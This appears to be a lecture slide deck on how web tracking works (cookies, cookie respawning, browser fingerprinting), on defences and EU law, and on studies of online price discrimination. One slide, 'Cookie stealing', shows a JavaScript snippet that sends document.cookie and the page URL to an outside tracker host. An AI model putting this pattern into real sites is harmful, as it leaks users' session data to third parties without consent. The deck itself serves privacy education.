Web tracking technologies & price discrimination in e-commerce

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INDES team

11 February 2016
Back in 1993...

"On the Internet, nobody knows you're a dog."
Today...

It’s the Internet! Of course they know you’re a dog. They also know your favorite brand of pet food and the name of the cute poodle at the park that you have a crush on!
Today...

Web Tracking

The New York Times
BBC News
PLAYBOY

google-analytics.com
doubleclick.com
quantserve.com

Bigger browsing profiles
= increased value for trackers
= reduced privacy for users

(Hypothetical tracking relationships only.)

Courtesy of Franziska Roesner
Advertisement

Ad network

doubleclick.com

The New York Times

Real-time-bidding (RTB)

Advertisers

The New York Times

Yes

Coca-Cola

Playboy

Ford
Price discrimination

Andrew Sampson
@sampsonian

Ryanair exhibit A. Looked up fare yesterday, total £123.00. Returned today and fare is £237.00. Flushed cookies. Fare back to £123.00.
More evidence

March 23rd, 2011 • 50 Comments

Save money on Ryanair fares by... deleting your cookies?
By Andy Dawson

Posted by SB • March 23, 2011 at 11:32 am
RyanAir have been doing this for at least 2 years, it’s a bit of a disgrace but I thought this was widely known!

Posted by Ally • March 23, 2011 at 11:34 am
That is some cheeky cheeky shenanigans – I also doubt it’ll be restricted to a RyanAir practice.

Posted by Richard • March 23, 2011 at 11:35 am
Yes – I have seen this on Ryanair many years ago – it “knew” I was looking for this fare and it bumped up the price each time I visited. New computer, back to normal prices.

Posted by Dickie Branson • March 23, 2011 at 12:30 pm
Have had similar experiences with both Easyjet and Virgin......
In this talk...

- **Web Tracking**
  - How does it work?
  - How can you protect yourself from being tracked?
  - Is it legal?

- **Price discrimination**
  - Airline tickets study
  - How to get a better price?
  - Is it legal?
How does Web Tracking work?
HTTP protocol is stateless

URL path: bbc.co.uk/news
Parameters
Method: GET
...

HTTP request

HTTP response

Status: 200 OK
Content: HTML page
Set-cookies: session-id=2082787201 &...

- Rendering pages
- Executing scripts/plugins (JavaScript)
- Launching new HTTP requests

- Mapping requests to apps
- Contacting DBs
- Constructing responses
HTTP protocol is stateless

Web browser

URL path: bbc.co.uk/news
Parameters
Method: GET
...

HTTP request

Web server

HTTP response

Status: 200 OK
Content: HTML page
Set-cookies: session-id=2082787201l & ...
...

Cookie Database

bbc.co.uk/news:
session-id=2082787201l
HTTP protocol is stateless

Web browser

URL path: bbc.co.uk/news...
Method: GET
Cookies: session-id=2082787201l & ...

HTTP request

Web server

Cookie Database

bbc.co.uk/news:
session-id=2082787201l
Mechanisms Required By Trackers

• Ability to store/create user identity in the browser
  - HTTP cookies
  - HTTP headers
  - browser storages
  - device fingerprinting:
    - browser properties
    - OS properties
    - IP address...

• Ability to communicate user identity back to tracker
  - HTTP request headers
  - JavaScript

Stateful tracking
Stateless tracking
Stateful tracking

TRACKING VIA COOKIES
Within-Site Tracking

**First-party cookies** are used to track repeat visits to a site.
First-party cookies are used to track repeat visits to a site.

Based on the slide of Franziska Roesner
Cookie stealing

• Access cookies: `document.cookie`

• Script that sends cookies

```javascript
// google-analytics.com/script.js

var url = "http://google-analytics.com/track?ga_id= "
  + encodeURI(document.cookie)
  + "&site= " + encodeURI(document.location);

document.write('<img src=' + url + '/>');
```
First-party cookie setting

- **Tell sites that I do not want to be tracked**
- **Tell sites that I want to be tracked**
- **Do not tell sites anything about my tracking**

Firefox will: Use custom settings for history

- **Always use private browsing mode**
- **Remember my browsing and download history**
- **Remember search and form history**
- **Accept cookies from sites**

Accept third-party cookies: Never

Keep until: I close Firefox
- **Clear history when Firefox closes**

Address of website:

- **nytimes.com**
  Status: **Block**

Options:
- Block
- Allow for Session
- Allow

Remove Site
Remove All Sites
Settings...
First-party cookies benefits

- Keep the session through different windows/tabs

- Website owners can evaluate
  - website statistics
  - popularity of certain pages
  - popularity of links
  - selected and copied phrases
Cookies: first- & third-party

First-party

- nytimes.com
  - can read/write cookies of nytimes.com

Third-party
- b.scorecardresearch.com
  - can read/write cookies of b.scorecardresearch.com

Diagram:
- Origin: nytimes.com
- Origin: b.scorecardresearch.com
- HTML page + JavaScript 1
  - `<script src=facebook.com>`
  - `<iframe src=b.scorecardresearch.com>`
  - `</iframe>`
  - JavaScript 2
Cross-site Tracking

Third-party cookies are used by trackers included in other sites to create profiles.
Practical protection: Third-party cookies blocking
Practical protection: Third-party cookies blocking

• Does not influence your browsing experience
• Does not adjust advertisements for you

• **So why are third-party cookies still there?**
  - It’s a business of advertisement companies
Personal Cross-Site Tracking

Cookie Database

facebook.com: fb_id=522

First-party site

http://facebook.com

<iframe src="facebook.com/button.html">

Like
</iframe>

http://site.com

cookie: fb_id=522

processing engine

logs

2:34pm: user 522 visited facebook.com

2:35pm: user 522 visited site.com
Third-party cookie blocking problem

• **Important detail:**
  In most browsers, third-party cookie blocking option doesn’t block sending the cookies

• **Privacy problems:**
  - If a tracker can ever set a cookie, third-party cookie blocking is *rendered ineffective*.
  - The user *can be tracked* just because a site she visits *contains a social button*
ShareMeNot

Cookie Database
facebook.com: fb_id=522

First-party site
http://facebook.com

http://site.com

<iframe src="facebook.com/button.html"></iframe>

Facebook.com processing engine

Logs

2:34pm: user 522 visited facebook.com
2:35pm: user 522 visited site.com

Now is a part of Privacy Badger https://www.eff.org/privacybadger
Cookie respawning

- Cookies **can respawn** even if the user has deleted them

- KISSmetrics and Hulu.com lawsuits
  - HTML5 localStorage (across sessions only)
  - Flash LSOs (across sessions and web browsers)
  - HTTP headers: Etag, LastModified

Respawning - local storages

- **KissMetrics lawsuit**: HTML5 localStorage (across sessions)

User leaves the page

Cookie Database
- **tracker.com**: id=789

HTML5 localStorage
- **tracker.com**: id=789

http://site1.com

<iframe src="tracker.com/ad.html">ad</iframe>

tracker.com

processing engine

9:30am: user 789 visited site1.com

logs

cookie: id=789
Respawning - local storages

- **KissMetrics lawsuit**: HTML5 localStorage (across sessions)

User deletes all the cookies!
Respawning via Etag header

- Etag header is a caching mechanism

GET: A.com
200 OK
Etag: “x234dff”
(html body)

GET: A.com
If-None-Match: “x234dff”

304 Not Modified
Etag: “x234dff”

A.com has not changed
Respawning via Etag header

INITIAL REQUEST HEADER:
GET /i.js HTTP/1.1
Host: i.kissmetrics.com

INITIAL RESPONSE HEADER:
Etag: "Z9iGGN1n1-zeVqbgzr1Kk139hiY"
Expires: Sun, 12 Dec 2038 01:19:31 GMT
Last-Modified: Wed, 27 Jul 2011 00:19:31 GMT
Set-Cookie: _km_cid=Z9iGGN1n1-zeVqbgzr1Kk139hiY;
    expires=Sun, 12 Dec 2038 01:19:31 GMT;path=/;

SUBSEQUENT REQUEST HEADER (PRIVATE BROWSING MODE WITH ALL COOKIES BLOCKED):
GET /i.js HTTP/1.1
Host: i.kissmetrics.com
If-None-Match: "Z9iGGN1n1-zeVqbgzr1Kk139hiY"
Not Respawnning, but Tracking

• **Important detail:**
  - If Etag header, HTML5 localStorage, or Flash LSO didn’t store a copy of cookies
  => tracking would not be detected!

• **Privacy problem:**
  - All of these storages can be used for tracking without cookies
Protection from stateful tracking

• Browser setting: block third-party cookies
  ▪ Protects from tracking (purely) via cookies
  ▪ Does not protect from cookie respawning
  ▪ Does not protect from tracking via other storages

• Browser extension: block scripts/requests only from known advertisement/tracking companies
  ▪ Does not protect from tracking by other companies
  ▪ Does not protect from tracking by the main website
Research solutions

• **Dynamic Information Flow Control**
  - Monitors JavaScript *to prevent cookie stealing*
  - Strong formal guarantee
    - secret data sources (cookies) do not flow into public data sinks (servers, storages)

• Several implementations:
  - Enhanced web browser **FlowFox** [De Groef et al. CCS’12]
  - FireFox plugin **ZaphodFacets** [Austin & Flanagan POPL’12]
Do-not-track and EU ePrivacy directive
Do-Not-Track (DNT)
Do-Not-Track (DNT)

- **Tracking preference expression**
  - New HTTP request header **DNT:1**
  - Optional HTTP response header **Tk:1** (server is compliant)

- **How** the web servers should enforce DNT?
  - “do-not-track” → “do-not-target”
  - do not target the users based on collected data
  - but still *allow data to be collected*

- **Did anything actually change?**
  - IE 10 adds **DNT:1 by default**, Yahoo! and Apache *ignore it.*
EU ePrivacy Directive 95/46
w.r.t. Stateful tracking

Actual Regulation

2002/58/EC:
• users should be able to refuse to have info stored in their browser

2009/136/EC:
• users should give a consent to have info stored in their browser

Interpretation

EU states:
• users can change their cookie settings

Some EU states:
• cookie setting is an implicit consent

Most of other EU states:
• no, we need other standard with explicit consent
Protesters return to Turkey streets

Hundreds of protesters return to the streets of Istanbul and Ankara, with the PM accusing some elements of trying to undermine democracy.

Determined to stay
Media slams handling of protests
Is Turkey's secular system in danger?
In pictures: Saturday clashes

Syrian rebels and Hezbollah 'clash'
A number of people are killed in rare clashes on Lebanese soil between Syrian rebels and the Lebanese militant group Hezbollah, say reports.

Qusari's strategic importance
Hezbollah's role
Red Cross 'alarmed' over Syria town
Unwinnable war

South African officials investigate claims that Muammar Gaddafi and his family stashed $1bn in assets in the country
Stateless Web Tracking

WEB-BASED DEVICE FINGERPRINTING
Stateless tracking

• **Web-based device fingerprinting**
  - Allows track users without the need of cookies of any other stateful client-side identifier
  - Hidden from users
  - Hard to avoid/opt-out

• **Panopticlick demonstrates**
  - Certain attributes of your browser environment can be used to accurately track you

Based on a slide of Nick Nikiforakis
Properties fingerprinted by Panopticlick
Panopticlick

How Unique — and Trackable — Is Your Browser?

Your browser fingerprint appears to be unique among the 6,169,691 tested so far.

Currently, we estimate that your browser has a fingerprint that conveys at least 22.56 bits of identifying information.

The measurements we used to obtain this result are listed below. You can read more about our methodology, statistical results, and some defenses against fingerprinting in this article.

Help us increase our sample size: 📧 🎥 📜 📚 📡 📥

<table>
<thead>
<tr>
<th>Browser Characteristic</th>
<th>bits of identifying information</th>
<th>one in ( x ) browsers have this value</th>
<th>value</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Agent</td>
<td>12.93</td>
<td>7799.86</td>
<td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0</td>
</tr>
<tr>
<td>Browser Characteristic</td>
<td>bits of identifying information</td>
<td>one in x browsers have this value</td>
<td>value</td>
</tr>
<tr>
<td>------------------------</td>
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<td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0</td>
</tr>
<tr>
<td>HTTP_ACCEPT Headers</td>
<td>16.08</td>
<td>69322.37</td>
<td>text/html, <em>/</em> gzip, deflate fr-FR, en-US; q=0.7, en; q=0.3</td>
</tr>
<tr>
<td>Browser Plugin Details</td>
<td></td>
<td>22.56+</td>
<td>6169691</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Plugin 0: Anywhereconference; Anywhereconference; anywhereAppshare.plugin; (Anywhereconference Appshare for Mac; application/com-Anywhereconference-appshare-mac); Plugin 1: Default Browser Helper; Provides information about the default web browser; Default Browser:plugin; (Provides information about the default web browser; application/apple- default-browser; ); Plugin 2: Gears 0.5.36.0; Gears for Safari; Gears plugin; (Gears 0.5.36.0; application/x-google-gears; ); Plugin 3: Google Talk Plugin Video Renderer; Version 5.41.0.0; 01dbrowserplugin; (Google Talk Plugin Video Renderer; application/01d; 01d); Plugin 4: Google Talk Plugin; Version 5.41.0.0; googletalkbrowserplugin; (Google voice and video chat; application/googletalk; googletalk); Plugin 5: QuickTime Plug-in 7.7.3: The QuickTime Plugin allows you to view a wide variety of multimedia content in web pages. For more information, visit the &lt;A HREF=<a href="http://www.apple.com/quicktime%3EQuickTime">http://www.apple.com/quicktime&gt;QuickTime</a>&lt;/A&gt; Web site.; QuickTime Plugin;plugin; (Video For Windows; video/x-msvideo; avi,flv) (MP3 audio; audio/mp3; mp3.swa) (MP3 audio; audio/mpeg3; mp3.swa) (Sound Designer II; audio/x-sd2; sd2) (3GPP2 media; video/3gpp2; 3g2.3gp2) (CAF audio; audio/x-caf; caf) (MPEG audio; audio/mpeg; mpeg,mpg,m1v,m1a,m2p,mpa,m2a,mp3,swa) (QuickTime Movie; video/quicktime; mov,qt,mov) (MP3 audio; audio/x-mpeg3; mp3.swa) (MPEG-4 media; video/mp4; mp4) (SDP stream descriptor; application/vnd.sdp; sdp) (WAVE audio; audio/wav; wav,bwf) (Video For Windows; video/avi; avi,flv) (AC3 audio; audio/x-ac3; ac3) (MPEG-4 media; audio/mp4; mp4) (Video; video/x-m4v; m4v) (SDP stream descriptor; application/vnd.sdp; sdp) (WAVE audio; audio/x-wav; wav,bwf) (AIFF audio; audio/x-aiff; aif,aiff,aifc,aifc,cda) (Digital video; video/x-dv; dv,dif) (MPEG media; video/x-mpeg; mpeg,mpg,m1v,m1a,m2p,mpa,m2a,mp3,swa) (3GPP media; video/3gpp; 3gp,3gpp) (Video For Windows; video/mov; video/avi; avi,flv) (MPEG audio; audio/x-mpeg; mpeg,mpg,m1v,m1a,m2p,mpa,m2a,mp3,swa) (QUALCOMM PureVoice audio; audio/vnd.qcp; qcp,qcp) (MP3 audio; audio/x-mpeg3; mp3.swa) (RTSP stream descriptor; application/x-rtsp; rtsp,rtsp) (AMR audio; audio/amr; AMR) (SD video; video/sd-video; sdv) (AIFF audio; audio/aiff; aif,aiff,aifc,aifc,cda) (MPEG media; video/mpeg; mpeg,mpg,m1v,m1a,m2p,mpa,m2a,mp3,swa) (3GPP2 media; audio/3gpp2; 3g2.3gp2) (AAC audio; audio/aac; aac,adts) (MP3 playlist; audio/mpegurl; m3u,m3url) (AC3 audio; audio/ac3; ac3) (AAC audio book; audio/x-m4b; m4b) (AAC audio; audio/x-m4p; m4p) (MP3 playlist; audio/x-mpegurl; m3u,m3url) (GSM audio; audio/x-gsm; gsm) (AMC media; application/x-mpeg; amc) (AAC audio; audio/x-aac; aac,adts) (uLaw/AU audio; audio/basic; au,snd,ulaw) (AAC audio; audio/x-m4a; m4a) (3GPP media; audio/3gpp; 3gp,3gpp) Plugin 6: Shockwave Flash; Shockwave Flash 19.0 r0; Flash Player:plugin; (Shockwave Flash; application/x-shockwave-flash; swf) (FutureSplash Player; application/futuresplash; spl) Plugin 7: VSeeHelper: Used to make VSee installation status and version number accessible via JavaScript; VSeeHelper:plugin; (Used to make VSee installation status and version number accessible via JavaScript; application/x-vseeedetection; );</td>
</tr>
<tr>
<td>Time Zone</td>
<td>2.67</td>
<td>6.35</td>
<td>-60</td>
</tr>
</tbody>
</table>
## Resulting fingerprints

<table>
<thead>
<tr>
<th>Browser property</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Agent (browser name and version, OS version, etc)</td>
<td>HTTP, JavaScript</td>
</tr>
<tr>
<td>HTTP_ACCEPT header</td>
<td>HTTP</td>
</tr>
<tr>
<td><strong>Browser plugin details</strong></td>
<td>JavaScript</td>
</tr>
<tr>
<td>Time zone</td>
<td>JavaScript</td>
</tr>
<tr>
<td>Screen size and color depth</td>
<td>JavaScript</td>
</tr>
<tr>
<td><strong>System fonts</strong></td>
<td>Flash/Java</td>
</tr>
<tr>
<td>Cookies enabled?</td>
<td>HTTP</td>
</tr>
<tr>
<td>Supercookies test</td>
<td>JavaScript</td>
</tr>
</tbody>
</table>

### Key Findings
- **83.6%** of users could be uniquely identified.
- **94.2%** of users with **Flash/Java** could be uniquely identified.

Plugins and fonts are the most identifying metrics!
Very hard to opt-out

• Even if
  ▪ you delete all the cookies
  ▪ you clean all the storages (HTML5, Flash)
  ▪ you use browser private mode

...your fingerprint remains the same!
Browser extensions are worse than nothing...

• Acar et al. reviewed 11 different browser extensions that spoof a browser’s user-agent

• All of them had one or more of the following:
  ▪ Incomplete coverage of the navigator object
  ▪ Impossible configurations
  ▪ Mismatch between UA header and UA property

• Problem:
  ▪ When installing these, a user becomes more visible and more fingerprintable than before

Acar et al. FPDetective: Dusting the Web for Fingerprinters, CCS’13
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In this talk...

- **Web Tracking**
  - How does it work?
  - How can you protect yourself from being tracked?
  - Is it legal?

- **Price discrimination**
  - Airline tickets study
  - How to get a better price?
  - Is it legal?
Price Discrimination in e-commerce
On Orbitz, Mac Users Steered to Pricier Hotels

By DANA MATTIOLI
Updated Aug. 23, 2012 6:07 p.m. ET

Orbitz Worldwide Inc. has found that people who use Apple Inc.'s Mac computers spend as much as 30% more a night on hotels, so the online travel agency is starting to show them different, and sometimes costlier, travel options than Windows visitors see. Dana Mattioli has details on The News Hub. Photo: Bloomberg.

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What is price discrimination?

• Situation where two consumers are charged differently for the same product

• Based on how much they are able/willing to pay

• Not possible in real life, but possible on the internet!
Why price discrimination is possible?

- Massive amounts of user-data gathered on the web is natural fit to determine how much the user is willing to pay
  - Is the user a big spender?
  - Has the user searched for this before?
  - Is the user actively comparing products (potentially cross-site)?
  - How bad does he want/need the product?
  - ...
How does it work?

- **Main discriminative factors:**
  - Geographical location
    - IP address
  - Device and OS
    - UserAgent HTTP header, JavaScript
  - Previous search queries
    - 1\textsuperscript{st}-party tracking (cookies)
  - Consumer profile (willingness to spend)
    - 3\textsuperscript{rd}-party tracking (cookies, storages, fingerprinting)
Does the EU law protect us?

• The EU law is prohibits
  ▪ Different treatment of two clients based on their *nationality* and *residence*.
  ▪ Discrimination based on *gender*, *religion* or *race*.
Disneyland Paris faces pricing probe

Disneyland Paris is facing a pricing probe following accusations that UK and German customers are being frozen out of certain price promotions.

The Financial Times said people in the UK were paying 15% more for one day tickets.
Does the EU law protect us?

• The EU law is prohibits
  ▪ Different treatment of two clients based on their nationality and residence.
  ▪ Discrimination based on gender, religion or race

• But nothing prohibits discrimination based on device, search history or cookies!
General retailers study

• Real-user study based on plugin
• Discriminative factors: country + device

• Results:
  ▪ Amazon, Staples: different price for different country
  ▪ Shoplet: smaller price for ``budget’’ profiles (based on cookies)

• $heriff plugin – compares prices for you

Mikians, Gyarmati, Erramilli, Laoutaris Detecting Price and Search Discrimination in the Internet” in Proc. of ACM HotNets’12.
Airline tickets study

Ryanair exhibit A. Looked up fare yesterday, total £123.00. Returned today and fare is £237.00. Flushed cookies. Fare back to £123.00.

Hypothesis

- Discriminative factors:
  - Device and OS
  - Consumer profile (willingness to spend)
  - Previous search queries
  - Geographical location

- Hypothesis

  *If airlines return different prices according to ... we should observe a systematic price difference between emulated users who differ in those characteristics.*
Large-scale analysis: Overview

• Numbers:
  – 25 airlines, twice per day
  – 3 weeks
  – 66 user profiles
  – 2 geographical locations

• How?
  – A web scraper
    • Scrape all airlines with all different user profiles
  – Emulating real user interactions
    • CasperJS, PhantomJS

130,000+ search queries
Large-scale analysis: User profiles

- **Browser and OS profiles**
  - User-Agent string and JS navigator object
    - IE 9 on Win7, Safari 6 on OSX 10.7, ...

- **Consumer profiles**
  - Gathering cookies from relevant websites
    - Affluent, Budget and Flight Comparer

- **Cookie setting profiles**
  - Accepting/Blocking certain cookies
  - own cookies, with(out) consumer profile cookies,
    no third-party cookies

- **Geographical profile**
  - Scraper in runs in parallel on different locations
    - New York and Leuven
Results

• No consistent price discrimination based on the analyzed used profiles!

• Analyzed top-25 companies

• Dataset:
General retailers, hotel and car rental study

• Large-scale study:
  ▪ 16 websites
  ▪ Web scraper + Real user tests
    • real users pay more than machines!

• Results:
  ▪ Expedia and Hotels.com steered users toward more expensive hotels based on search history
  ▪ Priceline: users who clicked on or reserved low-price hotel rooms received slightly different results in a different order

Hannak, Soeller, Lazer, Mislove, Wilson Measuring Price Discrimination and Steering on E-commerce Web Sites, ACM/USENIX IMC’14
How to avoid discrimination?

• Block 3rd party cookies:
  ▪ Not always effective
  ▪ Does block other tracking mechanisms

• Mask IP address:
  ▪ Tor browser is effective but slow
  ▪ Privoxy proxy may be effective, but risky?
Summary

- **Web Tracking**
  - Stateful and stateless: cookies, storages, fingerprinting
  - No effective protection from all
  - EU law: user consent

- **Price discrimination**
  - Studies: Airline tickets, General retailers, Hotels and cars
  - Turn off some tracking, use $eriff to find a better price
  - EU law: only prohibits discrimination based on geolocation and nationality